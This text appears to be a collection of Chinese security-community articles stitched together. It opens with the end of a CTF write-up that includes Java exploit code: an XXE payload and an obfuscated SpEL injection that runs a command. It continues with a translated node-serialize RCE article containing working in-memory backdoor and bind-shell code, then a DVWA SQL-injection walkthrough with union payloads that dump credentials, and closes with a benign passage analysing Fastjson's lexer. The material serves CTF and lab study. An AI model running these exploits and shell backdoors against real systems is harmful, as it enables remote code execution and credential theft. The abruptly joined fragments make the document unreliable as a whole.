String payload = "<?xml version=\"1.0\"?><!DOCTYPE name [<!ENTITY test SYSTEM 'netdoc:///passwd'>]><name>&test;</name>";
objectOutputStream.writeInt(payload.length());
objectOutputStream.write(payload.getBytes());
}
private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException {
int paramInt = aInputStream.readInt();
byte[] arrayOfByte = new byte[paramInt];
aInputStream.read(arrayOfByte);
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("tag");
Node node = nodeList.item(0);
this.name = node.getTextContent();
}
}
package com.unctf;
import com.unctf.pojo.Man;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.methods.ByteArrayRequestEntity;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.params.HttpMethodParams;
import org.junit.Test;
import java.io.*;
public class Exp {
@Test
public void exp001() throws IOException {
String url = "http://192.168.221.129:8888//server";
// String url = "http://localhost:8080/server";
Man person = new Man("asd");
HttpClient httpClient = new HttpClient();
httpClient.getHttpConnectionManager().getParams().setConnectionTimeout(15000);
PostMethod postMethod = new PostMethod(url);
postMethod.getParams().setParameter(HttpMethodParams.SO_TIMEOUT, 60000);
postMethod.setRequestHeader("Content-Type", "application/raw");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(person);
ByteArrayRequestEntity byteArrayRequestEntity = new ByteArrayRequestEntity(new Base64().encode(byteArrayOutputStream.toByteArray()));
System.out.println(byteArrayOutputStream.toByteArray());
postMethod.setRequestEntity(byteArrayRequestEntity);
httpClient.executeMethod(postMethod);
String responseBodyAsString = postMethod.getResponseBodyAsString();
postMethod.releaseConnection();
System.out.println("-------------------------------");
System.out.println(responseBodyAsString);
}
@Test
public void exp002() throws IOException {
String url = "http://192.168.221.129:8888//admin";
HttpClient httpClient = new HttpClient();
httpClient.getHttpConnectionManager().getParams().setConnectionTimeout(15000);
PostMethod postMethod = new PostMethod(url);
postMethod.getParams().setParameter(HttpMethodParams.SO_TIMEOUT, 60000);
postMethod.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
postMethod.setParameter("secret","k8Xnld8zOR2FhXEEnv3j3LQAiYGcb5IaPdVj");
String shellcode="(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(66)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41))";
String payload="T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"js\").eval("+shellcode+")";
// payload = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"js\")";
postMethod.setParameter("name",payload);
httpClient.executeMethod(postMethod);
System.out.println(postMethod.getResponseBodyAsString());
postMethod.releaseConnection();
}
}
output
[
## 后话
由于暑假时间多，所以算是准备的比较用心的一个比赛，作为一个出题人最大的心愿就是来做题的师傅们做完题目后能真正学到东西。虽然有些地方有点脑洞，请勿喷==
最后感谢举办比赛的十二所高校的师傅们的共同努力，札克力，Alkaid，知世等师傅的辛苦运维，以及安恒提供的优质平台（出题真累 | 社区文章 |
原文链接：http://blog.websecurify.com/2017/02/hacking-node-serialize.html
原作者：[Petko D. Petkov](https://twitter.com/pdp)
译： **Holic (知道创宇404安全实验室)**
**前言** ：本文阐述了一种利用 Node.JS 代码执行漏洞的方法。在 JavaScript 中，所有的对象都是基于
Object，所有的对象都继承了Object.prototype的属性和方法，它们可以被覆盖。通过覆盖
ServerResponse.prototype.end 方法，就可以操纵 express 在返回响应时执行的操纵而无须另开端口的bind shell 或
反弹 shell，类似 node 的 webshell。
另一方面就是宣传作者的 [rest](https://rest.secapps.com/) 工具了 _(:з」∠)_。
* * *
**正文：**
几天前，我注意到了 opsecx 的一篇[博文](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)，这篇文章讲了如果利用 nodejs 模块
node-serialize 的 RCE（远程命令执行）漏洞，然而有一点我很在意，就是利用 Burp 的过程过于繁琐 - 这工具很强的 -不过我认为可以做的更优雅。
在本文中，我想表达一下个人对这个独特的 RCE 的看法，也许将来会有所帮助 - 大概对你的个人研究会有些用。
### 攻击面
在开始之前，先评估一下攻击面是很有用的。本 node-serialize 模块同样适用。撰写本文时，该模块每月约有 2000 次下载，其中有 9
个包不需要其它的子依赖。
下面是所依赖模块的列表：cdlib, cdlibjs, intelligence, malice, mizukiri, modelproxy-engine-mockjs, node-help, sa-sdk-node, scriby, sdk-sa-node, shelldoc,
shoots。不分析代码是无法断定这些应用是否也存在漏洞，但本着挖掘漏洞的原则，我假设他们是有漏洞的。
尽管如此，更重要的是，我们还没回答“该模块扩散得有多广泛”的问题。每月 2000 次的下载量或许可以说明很多事情，不过很难估计这个数字后面的应用程序数量。去
github 和 google 大致浏览一下即可确定答案所在，这也正是有趣之处。
GitHub 搜索显示存在 97 个潜在的可能有漏洞的模块/应用，这些模块可能是个人使用，并未在 npmjs.com
上注册。通过浏览代码的方法可以快速确定了该问题存在的广泛与否。我还神奇地发现它竟然与口袋妖怪（Pokémon）有关。快去一探究竟！
我将有关情况报告给 https://nodesecurity.io/ 以提供支持，这是报告此安全问题目前唯一的途径，尤其是关于 NodeJS
模块系统的相关问题。它是个免费的开源项目。
### 测试环境
目前为止，我们正研究一个有利用潜力的漏洞，从公共安全的视角来看挺不错。那么我们进入更学术的一面，进而利用之。为了测试该 bug
，我们需要一个存在漏洞的应用程序。opsecx 提供了一个示例，我们将在本次练习中使用它。代码颇为简单。
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
res.send("Hello " + escape(obj.username));
}
} else {
res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
maxAge: 900000,
httpOnly: true
});
res.send("Hello stranger");
}
});
app.listen(3000);
你需要以下 package.json 安装对应模块（npm install）。
{
"dependencies": {
"cookie-parser": "^1.4.3",
"escape-html": "^1.0.3",
"express": "^4.14.1",
"node-serialize": "0.0.4"
}
}
那么我们进入关键部分吧。从代码中可以看到，本例 Web 应用正在使用用户配置（profile）设置
cookie，该配置使用了存在漏洞的模块进行序列化对象。然后进行 base64 编码。要想知道 base64 字符串解包后是什么样的，可以试试
[ENcoder](https://encoder.secapps.com/)。
### 利用步骤
现在我们有了一个有效请求，然后改造请求利用漏洞。首先，弄清 node-serialize
中的漏洞原理。看一眼源代码便一目了然，[模块](https://github.com/luin/serialize/blob/c82e7c3c7e802002ae794162508ee930f4506842/lib/serialize.js#L41)的相关函数如下所示：
} else if(typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
if(ISNATIVEFUNC.test(funcStr)) {
if(ignoreNativeFunc) {
funcStr = 'function() {throw new Error("Call a native function unserialized")}';
} else {
throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
}
}
outputObj[key] = FUNCFLAG + funcStr;
} else {
一旦调用 unserialize
方法，问题就会暴露出来，[具体行号点此](https://github.com/luin/serialize/blob/c82e7c3c7e802002ae794162508ee930f4506842/lib/serialize.js#L75)。
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
如果我们创建一个包含一 `_$$ND_FUNC$$_` 为开头的任意 JSON 对象，我们就可以远程执行代码，因为它使用了 eval
。我们可以使用以下设置来测试这一点。
如果成功执行，当然它理应成功，你会收到一个错误，因为服务器在请求完成之前退出了。现在我们有了代码执行，但我们可以做到更好。
### 关键所在
我个人感觉 opsecx 博客中提到的那点利用方式略显粗犷了。出于演示目的，它当然已经完全够用了，考虑到我们在 node 进程内已经实现了 eval
操作，我们完全可以搞更多事情，来获得更优雅的 hack，而不需要 Python 阶段的攻击。那么我就要写一下代码了，可能会修改有效的
exploit，使其更易用一些。那么我们可以使用变量选项，将代码设置为一个叫 **code** 的变量。
它存储我们的代码，我们不必担心编码问题。仅需修改 cookie 中的 profile ，以便将变量嵌入 JSON ，然后 node-serialize
执行特定的函数。
很漂亮！现在我们每次更改 **code** 变量时，profile cookie payload 将通过编码链和 node-serialize
神奇的完美运行。
### 内存后门
现在要对我们的代码 payload
进行处理。假设我们不知道程序是如何运行的，我们需要一个通用的利用方法，或者多用任何其他应用，没有安装环境和其它预习过的知识。这要求我们不能依赖可能存在的全局范围变量。我们也不能依赖
express 应用已经导出的变量，那么可以访问其他要安装的路由来进行访问。我不想生成新的端口或反向 shell，而要保持 profile 为最小的状态。
这是个很大的需求，但进行一些研究后，很容易找到一种可行的方法。
我们从 http 模块引用 ServerResponse 函数开始。ServerResponse 的属性用于 expressjs 中 response
对象的 `__proto__`。
/**
* Response prototype.
*/
var res = module.exports = {
__proto__: http.ServerResponse.prototype
};
这意味着如果我们更改 ServerResponse 的 原型（prototype），对应的 `__proto__` 属性。来自响应的 send 方法会调用
ServerResponse 的 prototype。
if (req.method === 'HEAD') {
// skip body for HEAD
this.end();
} else {
// respond
this.end(chunk, encoding);
}
一旦 send 方法被调用， end 方法将被调用，而它恰好是来自 ServerResponse 的 prototype。由于 send 方法大量用于
expressjs 相关的东西，这就意味着我们可以更直接地访问更有趣的结构，比如打开当前的 socket。如果我们覆写 prototype 的 end
方法，我们便可以通过 `this` 引用获取对 socket 对象的引用。
实现这种效果的代码如下：
require('http').ServerResponse.prototype.end = (function (end) {
return function () {
// TODO: this.socket gives us the current open socket
}
})(require('http').ServerResponse.prototype.end)
由于我们覆盖了 end
的原型（prototype），我们还需要某种方式区分我们的启动请求和其他正常请求，以免产生意外。我们可以通过查询参数包含的特殊字符串（abc123），以区分是否是来自自己的恶意请求。可以从
socket 的 httpMessage 对象获取此信息。如下所示：
require('http').ServerResponse.prototype.end = (function (end) {
return function () {
// TODO: this.socket._httpMessage.req.query give us reference to the query
}
})(require('http').ServerResponse.prototype.end)
一切就绪。剩下的就是启动 shell 了，这在 node 中相当简单。
var cp = require('child_process')
var net = require('net')
net.createServer((socket) => {
var sh = cp.spawn('/bin/sh')
sh.stdout.pipe(socket)
sh.stderr.pipe(socket)
socket.pipe(sh.stdin)
}).listen(5001)
合并上述两个段，最终代码如下。注意我们这里通过已经建立的 socket 来重定向 end 函数，其中 node 产生了一个 shell。这很纯粹。
require('http').ServerResponse.prototype.end = (function (end) {
return function () {
if (this.socket._httpMessage.req.query.q === 'abc123') {
var cp = require('child_process')
var net = require('net')
var sh = cp.spawn('/bin/sh')
sh.stdout.pipe(this.socket)
sh.stderr.pipe(this.socket)
this.socket.pipe(sh.stdin)
} else {
end.apply(this, arguments)
}
}
})(require('http').ServerResponse.prototype.end)
现在 nc localhost 3000，然后输入以下请求内容：
$ nc localhost 3000
GET /?q=abc123 HTTP/1.1
ls -la
什么？你啥也没得到？这只是个小把戏，我分开讲了。你看，我们正在劫持一个现有的 socket，因此我们不是它的唯一接管人。还有其他的东西可能会影响
socket，所以对于其他情况应小心考虑。还好很容易实现这一点，最终的代码如下：
require('http').ServerResponse.prototype.end = (function (end) {
return function () {
if (this.socket._httpMessage.req.query.q === 'abc123') {
['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket))
var cp = require('child_process')
var net = require('net')
var sh = cp.spawn('/bin/sh')
sh.stdout.pipe(this.socket)
sh.stderr.pipe(this.socket)
this.socket.pipe(sh.stdin)
} else {
end.apply(this, arguments)
}
}
})(require('http').ServerResponse.prototype.end)
最后，可以根据自己的喜好自由发挥了。可以通过相同的服务器进程，建立 socket 打开具有特殊字符串的请求来获取远程 shell。
### 结论
我们从一个简单的 RCE 开始，最终生成了一个通用的 HTTP 通道的 shell，可以应对多种情况。整个过程利用
[Rest](https://rest.secapps.com/)
工具变得非常简单。顺便推荐前几篇文章：[1](http://blog.websecurify.com/2017/02/hacking-wordpress-4-7-0-1.html)，[2](http://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)，[3](http://blog.websecurify.com/2017/01/whats-up-with-rest.html)
* * * | 社区文章 |
# 7.SQL Injection
## 1.SQL Injection(Low)
相关代码分析
可以看到代码没有对id参数做任何过滤，会导致SQL注入漏洞
输入1，正常返回
输入1'，产生报错，存在字符型SQL注入
判断字段数，输入1' order by 2 -- q，回显正常，用-- q注释掉前面的单引号
输入1' order by 3 -- q，回显错误，所以字段数为2
判断回显点，输入1' union select 1,2 -- q，可以在如图所示的位置获取我们想要的内容
查询当前数据库名为dvwa，输入1' union select 1,database() -- q
查询当前数据库下的所有表名guestbook,users，输入1' union select 1,group_concat(table_name) from
information_schema.tables where table_schema=database() -- q
查询users表中的所有字段user_id,first_name,last_name,user,password,avatar,last_login,failed_login，输入1'
union select 1,group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name='users' -- q
查询user和password字段的内容，输入1' union select
group_concat(user),group_concat(password) from users -- q
## 2.SQL Injection(Medium)
相关代码分析
Medium级别的代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,\,',",\x1a进行转义，同时前端页面设置了下拉选择表单，希望以此来控制用户的输入。
判断是否存在注入，注入是字符型还是数字型
抓包更改参数id为1' or 1=1 #
报错：
抓包更改参数id为1 or 1=1 #
查询成功：
说明存在数字型注入。
（由于是数字型注入，服务器端的mysql_real_escape_string函数就形同虚设了，因为数字型注入并不需要借助引号。）
中间的操作和低等级的SQL注入类似，只是抓包修改，在此不再做过多赘述
## 3.SQL Injection(High)
相关代码分析
与Medium级别的代码相比，High级别的只是在SQL查询语句中添加了LIMIT 1，希望以此控制只输出一个结果。
虽然添加了LIMIT 1，但是我们可以通过#将其注释掉,前面要加上'。中间的操作和低等级的SQL注入类似，在此不再做过多赘述
输入1' or 1=1 union select group_concat(user),group_concat(password) from users
#，查询成功：
## 4.SQL Injection(Impossible)
相关代码分析
可以看到，Impossible级别的代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入，同时只有返回的查询结果数量为一时，才会成功输出，这样就有效预防了“脱裤”，Anti-CSRFtoken机制的加入了进一步提高了安全性。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
### 0x01 前言
A fast JSON parser/generator for Java.一个Java语言实现的JSON快速解析/生成器。
官方描述：
Fastjson is a Java library that can be used to convert Java Objects into their JSON representation.
It can also be used to convert a JSON string to an equivalent Java object.
Fastjson can work with arbitrary Java objects including pre-existing objects that you do not have source-code of.
Fastjson Goals:
- Provide best performance in server side and android client
- Provide simple toJSONString() and parseObject() methods to convert Java objects to JSON and vice-versa
- Allow pre-existing unmodifiable objects to be converted to and from JSON
- Extensive support of Java Generics
- Allow custom representations for objects
- Support arbitrarily complex objects (with deep inheritance hierarchies and extensive use of generic types)
Fastjson是阿里巴巴开源的Apache顶级项目，在国内开发圈子中被使用广泛，由于它假定有序的解析特性，其相对于Jackson，性能会有一定的优势，不过个人觉得，相对于磁盘、网络IO等时间损耗，这样的提升对于大部分企业来讲，意义并不大。
因为Fastjson在国内被广泛使用，也就是说受众广，影响范围大，那么一但出现安全漏洞，被不法分子利用，将会对企业、用户造成极大损失。对于我们研究安全的人员来讲，研究分析Fastjson的源码，跟踪Fastjson安全漏洞，可以更好的挖掘出潜在的安全隐患，提前消灭它。
我曾经从网络上看到过很多对Fastjson分析的文章，但大部分都是对于新漏洞gadget
chain触发的源码debug跟踪，缺少对于一些关键点代码的分析描述，也就是说，我看完之后，该不懂还是不懂，最后时间花出去了，得到的只是一个证明可用的exp...因此，我这篇文章，将针对Fastjson反序列化部分涉及到的关键点代码进行详细的讲解，其中一共四个关键点“词法解析、构造方法选择、缓存绕过、反射调用”，希望大家看完之后，将能完全搞懂Fastjson漏洞触发的一些条件以及原理。
### 0x02 四个关键点
* 词法解析
* 构造方法选择
* 缓存绕过
* 反射调用
#### 1、词法解析
词法解析是Fastjson反序列化中比较重要的一环，一个json的格式、内容是否能被Fastjson理解，它充当了最重要的角色。
在调用JSON.parse(text)对json文本进行解析时，将使用缺省的默认配置
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
DEFAULT_PARSER_FEATURE是一个缺省默认的feature配置，具体每个feature的作用，我这边就不做讲解了，跟这一小节中的词法解析关联不大
public static int DEFAULT_PARSER_FEATURE;
static {
int features = 0;
features |= Feature.AutoCloseSource.getMask();
features |= Feature.InternFieldNames.getMask();
features |= Feature.UseBigDecimal.getMask();
features |= Feature.AllowUnQuotedFieldNames.getMask();
features |= Feature.AllowSingleQuotes.getMask();
features |= Feature.AllowArbitraryCommas.getMask();
features |= Feature.SortFeidFastMatch.getMask();
features |= Feature.IgnoreNotMatch.getMask();
DEFAULT_PARSER_FEATURE = features;
}
而如果想使用自定义的feature的话，可以自己或运算配置feature
public static Object parse(String text, int features) {
return parse(text, ParserConfig.getGlobalInstance(), features);
}
而这里，我们也能看到，传入了一个解析配置ParserConfig.getGlobalInstance()，它是一个默认的全局配置，因此，如果我们想要不使用全局解析配置的话，也可以自己构建一个局部的解析配置进行传入，这一系列的重载方法都给我们的使用提供了很大的自由度。
接着，我们可以看到，最终其实都走到这一步，创建DefaultJSONParser类实例，接着对json进行解析
public static Object parse(String text, ParserConfig config, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
然后我们跟进DefaultJSONParser构造方法中，可以看到其中调用了另一个重载的构造方法，我们可以重点关注第二个参数，也就是JSONScanner，它就是词法解析的具体实现类了
public DefaultJSONParser(final String input, final ParserConfig config, int features){
this(input, new JSONScanner(input, features), config);
}
看类注释，可以知道，这个类为了词法解析中的性能提升，做了很多特别的处理
//这个类，为了性能优化做了很多特别处理，一切都是为了性能！！！
/**
* @author wenshao[[email protected]]
*/
public final class JSONScanner extends JSONLexerBase {
...
}
在分析该词法解析类之前，我这里列出一些该类以及父类中变量的含义，有助于后续的代码分析：
text：json文本数据
len：json文本数据长度
token：代表解析到的这一段数据的类型
ch：当前读取到的字符
bp：当前字符索引
sbuf：正在解析段的数据，char数组
sp：sbuf最后一个数据的索引
hasSpecial=false：需要初始化或者扩容sbuf
可以从JSONScanner构造方法看到，text、len、bp、ch的大概意义，并且对utf-8 bom进行跳过
public JSONScanner(String input, int features){
super(features);
text = input;//json文本数据
len = text.length();//json文本数据长度
bp = -1;//当前字符索引
next();
if (ch == 65279) { // utf-8 bom
next();
}
}
接着在构造方法中，会调用next进行对text中一个一个字符的获取，可以看到bp值初始值为-1，在第一次调用时执行++bp变为0，即开始读取第一个字符的索引
public final char next() {
int index = ++bp;
return ch = (index >= this.len ? //
EOI //
: text.charAt(index));
}
再跟进DefaultJSONParser主要构造方法，其中lexer是词法解析器，这里我们跟踪得到其实现为JSONScanner，也就是我们前面所讲的那个，而input就是需要解析的json字符串，config为解析配置，最重要的就是symbolTable，我称之为符号表，它可以根据传入的字符，进而解析知道你想要读取的一段字符串
public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
this.lexer = lexer;//JSONScanner
this.input = input;//需要解析的json字符串
this.config = config;//解析配置
this.symbolTable = config.symbolTable;
//获取当前解析到的字符
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACE;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
} else {
lexer.nextToken(); // prime the pump
}
}
从上面的if、else流判断中可以知道，当开始头解析时，如果能解析到'{'或'['，就会赋值token，指明当前读到的token类型（在Fastjson中，会对json数据字符串一位一位的提取，然后比对，得出当前位置的词法类型，也即token），接着继续执行next()滑动到下一个字符。如果不能解析到'{'或'['开头，就会执行nextToken()，后续parse也会继续执行nextToken()
nextToken，顾名思义就是下一个token，其中实现逻辑会对字符一个一个的进行一定的解析，判断出下一个token类型
而整个Fastjson反序列化时，就是这样根据不断的next()提取出字符，然后判断当前token类型，接着根据token类型的不同，会有不一样的处理逻辑，表现为根据token类型做一定的数据字符串读取，并根据读取出来的字符串数据，进行反序列化成Java
Object
我们回到nextToken中来：
public final void nextToken() {
sp = 0;
for (;;) {
pos = bp;
if (ch == '/') {
skipComment();
continue;
}
if (ch == '"') {
scanString();
return;
}
if (ch == ',') {
next();
token = COMMA;
return;
}
if (ch >= '0' && ch <= '9') {
scanNumber();
return;
}
if (ch == '-') {
scanNumber();
return;
}
switch (ch) {
case '\'':
if (!isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("Feature.AllowSingleQuotes is false");
}
scanStringSingleQuote();
return;
case ' ':
case '\t':
case '\b':
case '\f':
case '\n':
case '\r':
next();
break;
case 't': // true
scanTrue();
return;
case 'f': // false
scanFalse();
return;
case 'n': // new,null
scanNullOrNew();
return;
case 'T':
case 'N': // NULL
case 'S':
case 'u': // undefined
scanIdent();
return;
case '(':
next();
token = LPAREN;
return;
case ')':
next();
token = RPAREN;
return;
case '[':
next();
token = LBRACKET;
return;
case ']':
next();
token = RBRACKET;
return;
case '{':
next();
token = LBRACE;
return;
case '}':
next();
token = RBRACE;
return;
case ':':
next();
token = COLON;
return;
case ';':
next();
token = SEMI;
return;
case '.':
next();
token = DOT;
return;
case '+':
next();
scanNumber();
return;
case 'x':
scanHex();
return;
default:
if (isEOF()) { // JLS
if (token == EOF) {
throw new JSONException("EOF error");
}
token = EOF;
eofPos = pos = bp;
} else {
if (ch <= 31 || ch == 127) {
next();
break;
}
lexError("illegal.char", String.valueOf((int) ch));
next();
}
return;
}
}
}
可以看到，就是前面所说的，根据当前读到的字符，而选择执行不同的字符串提取逻辑，我们这小节最核心的代码就位于scanString()，当判断当前字符为双引号时，则执行这个方法，我们看一下具体实现
public final void scanString() {
np = bp;
hasSpecial = false;
char ch;
for (;;) {
ch = next();
if (ch == '\"') {
break;
}
if (ch == EOI) {
if (!isEOF()) {
putChar((char) EOI);
continue;
}
throw new JSONException("unclosed string : " + ch);
}
if (ch == '\\') {
if (!hasSpecial) {
...扩容
}
ch = next();
switch (ch) {
case '0':
putChar('\0');
break;
case '1':
putChar('\1');
break;
case '2':
putChar('\2');
break;
case '3':
putChar('\3');
break;
case '4':
putChar('\4');
break;
case '5':
putChar('\5');
break;
case '6':
putChar('\6');
break;
case '7':
putChar('\7');
break;
case 'b': // 8
putChar('\b');
break;
case 't': // 9
putChar('\t');
break;
case 'n': // 10
putChar('\n');
break;
case 'v': // 11
putChar('\u000B');
break;
case 'f': // 12
case 'F':
putChar('\f');
break;
case 'r': // 13
putChar('\r');
break;
case '"': // 34
putChar('"');
break;
case '\'': // 39
putChar('\'');
break;
case '/': // 47
putChar('/');
break;
case '\\': // 92
putChar('\\');
break;
case 'x':
char x1 = next();
char x2 = next();
boolean hex1 = (x1 >= '0' && x1 <= '9')
|| (x1 >= 'a' && x1 <= 'f')
|| (x1 >= 'A' && x1 <= 'F');
boolean hex2 = (x2 >= '0' && x2 <= '9')
|| (x2 >= 'a' && x2 <= 'f')
|| (x2 >= 'A' && x2 <= 'F');
if (!hex1 || !hex2) {
throw new JSONException("invalid escape character \\x" + x1 + x2);
}
char x_char = (char) (digits[x1] * 16 + digits[x2]);
putChar(x_char);
break;
case 'u':
char u1 = next();
char u2 = next();
char u3 = next();
char u4 = next();
int val = Integer.parseInt(new String(new char[] { u1, u2, u3, u4 }), 16);
putChar((char) val);
break;
default:
this.ch = ch;
throw new JSONException("unclosed string : " + ch);
}
continue;
}
if (!hasSpecial) {
sp++;
continue;
}
if (sp == sbuf.length) {
putChar(ch);
} else {
sbuf[sp++] = ch;
}
}
token = JSONToken.LITERAL_STRING;
this.ch = next();
}
